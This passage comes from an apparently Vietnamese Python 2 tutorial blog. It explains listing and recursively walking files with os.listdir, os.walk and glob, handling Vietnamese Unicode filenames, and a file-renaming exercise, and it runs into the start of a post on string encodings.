<span class="gp">>>> </span><span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="go">['Old', 'Icons', 'baby.jpg']</span>
</pre></div>
<p>Để có đường dẫn đầy đủ bạn có thể viết:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">FJoin</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span>
<span class="gp">>>> </span><span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">FJoin</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)]</span>
<span class="gp">>>> </span><span class="n">files</span>
<span class="go">['/mnt/data/pictures/Old', '/mnt/data/pictures/Icons', '/mnt/data/pictures/baby.jpg']</span>
</pre></div>
<p>Để đảm bảo vấn đề tương thích mã khi chuyển qua lại giữa các hệ điều hành bạn luôn luôn nên dùng: <tt class="docutils literal">os.path.join</tt> để nối các đường dẫn, hoặc dùng <tt class="docutils literal">os.path.sep</tt> để cộng các đường dẫn.</p>
<p>Không nên:</p>
<div class="highlight"><pre><span></span><span class="n">path</span> <span class="o">=</span> <span class="n">path1</span> <span class="o">+</span> <span class="s2">"\path2"</span>
</pre></div>
<p>Nên viết:</p>
<div class="highlight"><pre><span></span><span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path1</span><span class="p">,</span> <span class="s2">"path2"</span><span class="p">)</span>
</pre></div>
<p>hoặc</p>
<div class="highlight"><pre><span></span><span class="n">path</span> <span class="o">=</span> <span class="n">path1</span> <span class="o">+</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">sep</span> <span class="o">+</span> <span class="n">path2</span>
</pre></div>
<p>Trên Windows bạn có thể viết: <tt class="docutils literal">path = <span class="pre">"~/Test"</span></tt> hoặc <tt class="docutils literal"><span class="pre">"~/test"</span></tt> đều được. Linux phân biệt chữ hoa chữ thường nên phải viết chính xác <tt class="docutils literal">Test</tt>. Ký tự phân tách đường dẫn trên linux là <tt class="docutils literal">"/"</tt>, trên Windows bạn có thể viết <tt class="docutils literal">"/"</tt> hoặc tôi hay dùng <tt class="docutils literal"><span class="pre">"\\"</span></tt> (thay vì <tt class="docutils literal"><span class="pre">`"\"</span></tt>).</p>
</div>
<div class="section" id="su-dung-walk">
<h2>2. Sử dụng <tt class="docutils literal">walk</tt></h2>
<p><tt class="docutils literal">os.listdir</tt> chỉ liệt kê các file và thư mục trong một thư mục. Để lấy được cả danh sách đệ quy các file trong thư mục bạn có thể dùng <tt class="docutils literal">os.walk</tt> hoặc thư viện ngoài <tt class="docutils literal">glob</tt>.</p>
<p>Hàm <tt class="docutils literal">os.walk</tt> là một <em>generator function</em> và <tt class="docutils literal">os.walk(path)</tt> là một <em>generator object</em>. Nghĩa là hàm trạng thái trả về các kết quả kế tiếp nhau theo yêu cầu. Mỗi một item của <tt class="docutils literal">walk</tt> có ba thành phần:</p>
<ol class="arabic simple">
<li>Thư mục hiện tại</li>
<li>Các thư mục con</li>
<li>Các file bên trong</li>
</ol>
<p>Dưới đây là hàm sử dụng <tt class="docutils literal">walk</tt> để liệt kê tất cả các file và thư mục con trong một thư mục cho trước, kết quả trả về chứa đường dẫn đầy đủ:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">os</span>
<span class="n">FJoin</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span>
<span class="k">def</span> <span class="nf">GetFiles</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="sd">"""Output: file_list là danh sách tất cả các file trong path và trong tất cả các</span>
<span class="sd"> thư mục con bên trong nó. dir_list là danh sách tất cả các thư mục con</span>
<span class="sd"> của nó. Các output đều chứa đường dẫn đầy đủ."""</span>
<span class="n">file_list</span><span class="p">,</span> <span class="n">dir_list</span> <span class="o">=</span> <span class="p">[],</span> <span class="p">[]</span>
<span class="k">for</span> <span class="nb">dir</span><span class="p">,</span> <span class="n">subdirs</span><span class="p">,</span> <span class="n">files</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">walk</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="n">file_list</span><span class="o">.</span><span class="n">extend</span><span class="p">([</span><span class="n">FJoin</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">files</span><span class="p">])</span>
<span class="n">dir_list</span><span class="o">.</span><span class="n">extend</span><span class="p">([</span><span class="n">FJoin</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span> <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">subdirs</span><span class="p">])</span>
<span class="k">return</span> <span class="n">file_list</span><span class="p">,</span> <span class="n">dir_list</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">files</span><span class="p">,</span> <span class="n">dirs</span> <span class="o">=</span> <span class="n">GetFiles</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">expanduser</span><span class="p">(</span><span class="s2">"~/Music"</span><span class="p">))</span>
<span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
<span class="nb">print</span> <span class="n">file</span>
<span class="k">for</span> <span class="nb">dir</span> <span class="ow">in</span> <span class="n">dirs</span><span class="p">:</span>
<span class="nb">print</span> <span class="nb">dir</span>
</pre></div>
<p>Hàm này chạy tốt trên Windows, trên Linux nó lấy cả các link. Nói chung các link sẽ không có ý nghĩa trong đa số các trường hợp của bạn. Để loại bỏ các link bạn viêt lại hàm <tt class="docutils literal">GetFiles</tt> như sau:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">GetFiles</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="n">file_list</span><span class="p">,</span> <span class="n">dir_list</span> <span class="o">=</span> <span class="p">[],</span> <span class="p">[]</span>
<span class="k">for</span> <span class="nb">dir</span><span class="p">,</span> <span class="n">subdirs</span><span class="p">,</span> <span class="n">files</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">walk</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="n">file_list</span><span class="o">.</span><span class="n">extend</span><span class="p">([</span><span class="n">FJoin</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">files</span><span class="p">])</span>
<span class="n">dir_list</span><span class="o">.</span><span class="n">extend</span><span class="p">([</span><span class="n">FJoin</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span> <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">subdirs</span><span class="p">])</span>
<span class="n">file_list</span> <span class="o">=</span> <span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">islink</span><span class="p">(</span><span class="n">x</span><span class="p">),</span> <span class="n">file_list</span><span class="p">)</span>
<span class="n">dir_list</span> <span class="o">=</span> <span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">islink</span><span class="p">(</span><span class="n">x</span><span class="p">),</span> <span class="n">dir_list</span><span class="p">)</span>
<span class="k">return</span> <span class="n">file_list</span><span class="p">,</span> <span class="n">dir_list</span>
</pre></div>
<p>Chú ý rằng một object vừa có thể là file vừa có thể là link. Vì vậy bạn không thể dùng hàm <tt class="docutils literal">os.path.isfile</tt> để lọc các link được:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">islink</span><span class="p">(</span><span class="s1">'/home/hoaiptm/Music/mylink'</span><span class="p">)</span>
<span class="go">True</span>
<span class="gp">>>> </span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isfile</span><span class="p">(</span><span class="s1">'/home/hoaiptm/Music/mylink'</span><span class="p">)</span>
<span class="go">True</span>
</pre></div>
<p>Tương tự như vậy với hàm <tt class="docutils literal">os.path.isdir</tt>, nó cũng trả về <tt class="docutils literal">True</tt> nếu object là link liên kết đến một thư mục khác.</p>
</div>
<div class="section" id="su-dung-glob">
<h2>3. Sử dụng <tt class="docutils literal">glob</tt></h2>
<p><tt class="docutils literal">glob</tt> là cách liệt kê file và thư mục theo pattern, các pattern có thể chứa các ký tự đại diện như <tt class="docutils literal">*</tt>, <tt class="docutils literal">?</tt>, <tt class="docutils literal">[]</tt>, nó cho phép bạn tìm kiếm chỉ các file có tên thỏa mãn quy tắc pattern cho trước. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="c1"># liệt kê các file và thư mục trong thư mục path</span>
<span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">))</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="c1"># liệt kê các file và thư mục cấp 2 bên trong thư mục path.</span>
<span class="c1"># chẳng hạn path chứa thư mục A, B, C thì lệnh trên sẽ</span>
<span class="c1"># liệt kê hết các file và thư mục bên trong A, B, C.</span>
<span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">))</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="c1"># liệt kê các file và thư mục trong thư mục path bắt đầu với chữ cái a.</span>
<span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"[a]*"</span><span class="p">))</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="c1"># liệt kê các file và thư mục trong thư mục path</span>
<span class="c1"># có tên kết thúc bằng chữ cái p và có đúng 3 ký tự.</span>
<span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"??p"</span><span class="p">))</span>
</pre></div>
<p>Chú ý rằng không giống như <tt class="docutils literal">listdir</tt> hoặc <tt class="docutils literal">walk</tt>, <tt class="docutils literal">glob</tt> lấy đường dẫn đầy đủ.</p>
<p>Hàm <tt class="docutils literal">glob</tt> không thực hiện đệ quy. Hàm sau đây sử dụng <tt class="docutils literal">glob</tt> để tìm kiếm đệ quy tất cả các file và thư mục bên trong thư mục cho trước:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">path</span>
<span class="kn">import</span> <span class="nn">glob</span>
<span class="k">def</span> <span class="nf">dirwalk</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">bag</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">):</span>
<span class="n">bag</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">)))</span>
<span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="nb">dir</span><span class="p">):</span>
<span class="n">fullpath</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isdir</span><span class="p">(</span><span class="n">fullpath</span><span class="p">)</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">islink</span><span class="p">(</span><span class="n">fullpath</span><span class="p">):</span>
<span class="n">dirwalk</span><span class="p">(</span><span class="n">fullpath</span><span class="p">,</span> <span class="n">bag</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">)</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">[]</span>
<span class="c1"># Lấy tất cả các file và thư mục con trong thư mục path:</span>
<span class="n">dirwalk</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">files</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">)</span>
<span class="c1"># Lấy tất cả các file trong thư mục path (có thể có lẫn thư mục):</span>
<span class="n">dirwalk</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">files</span><span class="p">,</span> <span class="s2">"*.*"</span><span class="p">)</span>
<span class="c1"># Lấy tất cả các file python trong thư mục path:</span>
<span class="n">dirwalk</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">files</span><span class="p">,</span> <span class="s2">"*.py"</span><span class="p">)</span>
<span class="c1"># Lấy tất cả các file hoặc thư mục bắt đầu bằng "py" trong thư mục path:</span>
<span class="n">dirwalk</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">files</span><span class="p">,</span> <span class="s2">"py*.*"</span><span class="p">)</span>
</pre></div>
<p>Hàm <tt class="docutils literal">dirwalk</tt> ở triển khai này làm được nhiều việc hơn hàm GetFiles triển khai ở mục 2. Nó tổng quát hơn.</p>
<p>Một cách triển khai khác có thể viết như thế này:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">dirwalk2</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">bag</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">):</span>
<span class="sd">""" bag là một list chứa các file thỏa mãn quy tắc wildcards """</span>
<span class="k">if</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">)):</span>
<span class="n">bag</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">)))</span>
<span class="n">dirwalk2</span><span class="p">(</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">),</span> <span class="n">bag</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">)</span>
</pre></div>
<p><tt class="docutils literal">dirwalk2</tt> tuy ngắn gọn nhưng khó hiểu hơn <tt class="docutils literal">dirwalk</tt>. Nó hoàn toàn tương tự ngoại trừ việc không kiểm tra một object có thể là link (chỉ có ý nghĩa trên linux).</p>
</div>
<div class="section" id="thu-muc-co-chua-ten-file-tieng-viet">
<h2>4. Thư mục có chứa tên file tiếng Việt</h2>
<p>Các ví dụ phía trên giả thiết rằng bạn có các tên file và thư mục là tiếng anh thông thường hoặc tiếng việt không dấu. Thư mục có thể chứa các file có tên tiếng việt hoặc tiếng Tàu, tiếng Hàn... Bạn phải truyền đối số unicode cho các hàm <tt class="docutils literal">listdir</tt>, <tt class="docutils literal">walk</tt>, <tt class="docutils literal">glob</tt>... Quy tắc này áp dụng cho tất cả các hàm và thủ tục khác thao tác với file. Quan sát ví dụ sau (trên Windows):</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">os</span>
<span class="gp">>>> </span><span class="n">FJoin</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span>
<span class="gp">>>> </span><span class="n">FExists</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span>
<span class="gp">>>> </span><span class="n">path</span> <span class="o">=</span> <span class="s2">"D:/abc"</span>
<span class="gp">>>> </span><span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="go">['V? mi?n t\xe2y']</span>
<span class="gp">>>> </span><span class="p">[</span><span class="n">FJoin</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)]</span>
<span class="go">['D:/abc\\V? mi?n t\xe2y']</span>
<span class="gp">>>> </span><span class="p">[</span><span class="n">FExists</span><span class="p">(</span><span class="n">FJoin</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">f</span><span class="p">))</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)]</span>
<span class="go">[False]</span>
</pre></div>
<p>Thư mục <tt class="docutils literal">abc</tt> có chứa duy nhất file <tt class="docutils literal">Về miền tây</tt>, tên file là tiếng Việt có dấu, kết quả kiểm tra sự tồn tại cho thấy file không tồn tại. Nguyên nhân là từ hàm <tt class="docutils literal">listdir</tt>. Nêu đối số của hàm <tt class="docutils literal">listdir</tt> là unicode các tên file lấy về cũng là unicode, nếu là ascii, các tên file trả về cũng là dạng ascii. Vì vậy tên file trả về của <tt class="docutils literal">listdir</tt> trong trường hợp này không đúng và bạn không thể thao tác với file đó được. Để lấy đúng tên file trong trường hợp này bạn phải truyền đối số unicode cho hàm <tt class="docutils literal">listdir</tt>:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">path</span> <span class="o">=</span> <span class="sa">u</span><span class="s2">"D:/abc"</span>
<span class="gp">>>> </span><span class="p">[</span><span class="n">FJoin</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)]</span>
<span class="go">[u'D:/abc\\V\u1ec1 mi\u1ec1n t\xe2y']</span>
<span class="gp">>>> </span><span class="p">[</span><span class="n">FExists</span><span class="p">(</span><span class="n">FJoin</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">f</span><span class="p">))</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)]</span>
<span class="go">[True]</span>
</pre></div>
<p>Tuy nhiên trên Linux, bạn không gặp vấn đề này.</p>
</div>
<div class="section" id="bai-tap-vi-du">
<h2>5. Bài tập ví dụ:</h2>
<p>Viết chương trình đổi tên tất cả các file trong thư mục <tt class="docutils literal"><span class="pre">c:\data</span></tt> và các thư mục con của nó. Đổi tên các file có phần mở rộng là <tt class="docutils literal">*.htm</tt> thành <tt class="docutils literal">*.docx</tt>.</p>
<p>Dưới đây là một triển khai của bài tập này:</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- coding: utf-8 -*-</span>
<span class="c1">#!/usr/bin/env python</span>
<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">path</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">glob</span>
<span class="k">def</span> <span class="nf">dirwalk</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">bag</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">):</span>
<span class="sd">""" bag là một list chứa các file thỏa mãn quy tắc wildcards """</span>
<span class="k">if</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">)):</span>
<span class="n">bag</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">)))</span>
<span class="n">dirwalk</span><span class="p">(</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="s2">"*"</span><span class="p">),</span> <span class="n">bag</span><span class="p">,</span> <span class="n">wildcards</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">rename</span><span class="p">(</span><span class="n">oldName</span><span class="p">,</span> <span class="n">newExt</span><span class="p">):</span>
<span class="sd">""" Thay thế phần mở rộng cũ thành mở rộng mới. Giả thiết oldName luôn có</span>
<span class="sd"> phần mở rộng. """</span>
<span class="n">newName</span> <span class="o">=</span> <span class="n">oldName</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="n">oldName</span><span class="o">.</span><span class="n">rfind</span><span class="p">(</span><span class="s2">"."</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="n">newExt</span>
<span class="n">os</span><span class="o">.</span><span class="n">rename</span><span class="p">(</span><span class="n">oldName</span><span class="p">,</span> <span class="n">newName</span><span class="p">)</span>
<span class="k">return</span> <span class="n">newName</span>
<span class="k">def</span> <span class="nf">WalkAndRename</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">oldExt</span><span class="p">,</span> <span class="n">newExt</span><span class="p">):</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">dirwalk</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="n">files</span><span class="p">,</span> <span class="sa">u</span><span class="s2">"*"</span> <span class="o">+</span> <span class="n">oldExt</span><span class="p">)</span>
<span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
<span class="nb">print</span> <span class="n">f</span><span class="p">,</span> <span class="s2">"-->"</span><span class="p">,</span> <span class="n">rename</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">newExt</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">WalkAndRename</span><span class="p">(</span><span class="s1">'c:</span><span class="se">\\</span><span class="s1">data'</span><span class="p">,</span> <span class="s2">"htm"</span><span class="p">,</span> <span class="s1">'docx'</span><span class="p">)</span>
</pre></div>
</div>
Xử lý tiếng Việt trong Python2009-06-13T19:23:00+07:002009-06-13T19:23:00+07:00Phạm Thị Minh Hoàitag:None,2009-06-13:2009/06/xu-ly-tieng-viet-trong-python.html<p>Ví dụ sau minh họa 3 codecs bạn hay gặp nhất trong Python:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s2">"sky down no enemy"</span>
<span class="gp">>>> </span><span class="nb">print</span> <span class="nb">type</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="go"><type 'str'> 17</span>
<span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="gp">>>> </span><span class="n">s</span>
<span class="go">'thi\xc3\xaan h\xe1\xba\xa1 v\xc3\xb4 \xc4\x91\xe1\xbb\x8bch'</span>
<span class="gp">>>> </span><span class="nb">print</span> <span class="nb">type</span><span class="p">(</span><span class="n">s …</span></pre></div><p>Ví dụ sau minh họa 3 codecs bạn hay gặp nhất trong Python:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s2">"sky down no enemy"</span>
<span class="gp">>>> </span><span class="nb">print</span> <span class="nb">type</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="go"><type 'str'> 17</span>
<span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="gp">>>> </span><span class="n">s</span>
<span class="go">'thi\xc3\xaan h\xe1\xba\xa1 v\xc3\xb4 \xc4\x91\xe1\xbb\x8bch'</span>
<span class="gp">>>> </span><span class="nb">print</span> <span class="nb">type</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="go"><type 'str'> 23</span>
<span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="n">unicode</span><span class="p">(</span><span class="s2">"thiên hạ vô địch"</span><span class="p">,</span> <span class="s1">'utf8'</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">s</span>
<span class="go">u'thi\xean h\u1ea1 v\xf4 \u0111\u1ecbch'</span>
<span class="gp">>>> </span><span class="nb">print</span> <span class="nb">type</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="go"><type 'unicode'> 16</span>
</pre></div>
<p>Nghiên cứu ví dụ trên. <tt class="docutils literal">len(s)</tt> trong hai ví dụ đầu thực sự là số byte cần để lưu trữ <tt class="docutils literal">s</tt>. <tt class="docutils literal">len(s)</tt> trong ví dụ 3 là độ dài ký tự, dung lượng nhớ thực sự để lưu trữ <tt class="docutils literal">s</tt> là 16 * 2 = 32 bytes.</p>
<p>Tại bất cứ một thời điểm nào trong chương trình Python bạn cũng phải xác định được bạn đang thao tác với chuỗi kiểu gì: ascii, unicode, hay utf8... Dùng lệnh sau để biết một chuỗi là unicode hay không:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">s</span>
<span class="go">u'thi\xean h\u1ea1 v\xf4 \u0111\u1ecbch'</span>
<span class="gp">>>> </span><span class="nb">type</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="nb">type</span><span class="p">(</span><span class="sa">u</span><span class="s2">""</span><span class="p">)</span>
<span class="go">True</span>
<span class="gp">>>> </span><span class="n">ss</span> <span class="o">=</span> <span class="s2">"sky down no enemy"</span>
<span class="gp">>>> </span><span class="nb">type</span><span class="p">(</span><span class="n">ss</span><span class="p">)</span> <span class="o">==</span> <span class="nb">type</span><span class="p">(</span><span class="sa">u</span><span class="s2">""</span><span class="p">)</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="n">s</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="gp">>>> </span><span class="nb">type</span><span class="p">(</span><span class="n">ss</span><span class="p">)</span> <span class="o">==</span> <span class="nb">type</span><span class="p">(</span><span class="sa">u</span><span class="s2">""</span><span class="p">)</span>
<span class="go">False</span>
</pre></div>
<p>Cộng một chuỗi không phải unicode với một chuỗi unicode thì chuỗi không phải unicode sẽ được tự động convert sang unicode trước khi cộng:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">ss</span> <span class="o">=</span> <span class="s2">"sky down no enemy"</span>
<span class="gp">>>> </span><span class="n">ss</span> <span class="o">+</span> <span class="sa">u</span><span class="s2">""</span>
<span class="go">u'sky down no enemy'</span>
<span class="gp">>>> </span><span class="n">ss</span> <span class="o">=</span> <span class="s2">"thiên hạ vô địch"</span>
<span class="gp">>>> </span><span class="n">ss</span> <span class="o">+</span> <span class="sa">u</span><span class="s2">""</span>
<span class="gt">Traceback (most recent call last):</span>
File <span class="nb">"<stdin>"</span>, line <span class="m">1</span>, in <span class="n"><module></span>
<span class="gr">UnicodeDecodeError</span>: <span class="n">'ascii' codec can't decode byte 0xc3 in position 3: ordinal not in range(128)</span>
<span class="gp">>>> </span><span class="n">ss</span> <span class="o">=</span> <span class="n">unicode</span><span class="p">(</span><span class="s2">"thiên hạ vô địch"</span><span class="p">,</span> <span class="s1">'utf8'</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">ss</span> <span class="o">+</span> <span class="sa">u</span><span class="s2">""</span>
<span class="go">u'thi\xean h\u1ea1 v\xf4 \u0111\u1ecbch'</span>
</pre></div>
<p>Trong tình huống thứ 2 bạn cố gắng cộng một chuỗi utf8 vào chuỗi unicode. Python tự động chuyển chuỗi utf8 thành chuỗi unicode bằng cách decode với codec='ascii', vì vậy gặp lỗi. Tình huống này tương đương với:</p>
<div class="highlight"><pre><span></span><span class="go">ss + u"" = ss.decode('ascii') + u""</span>
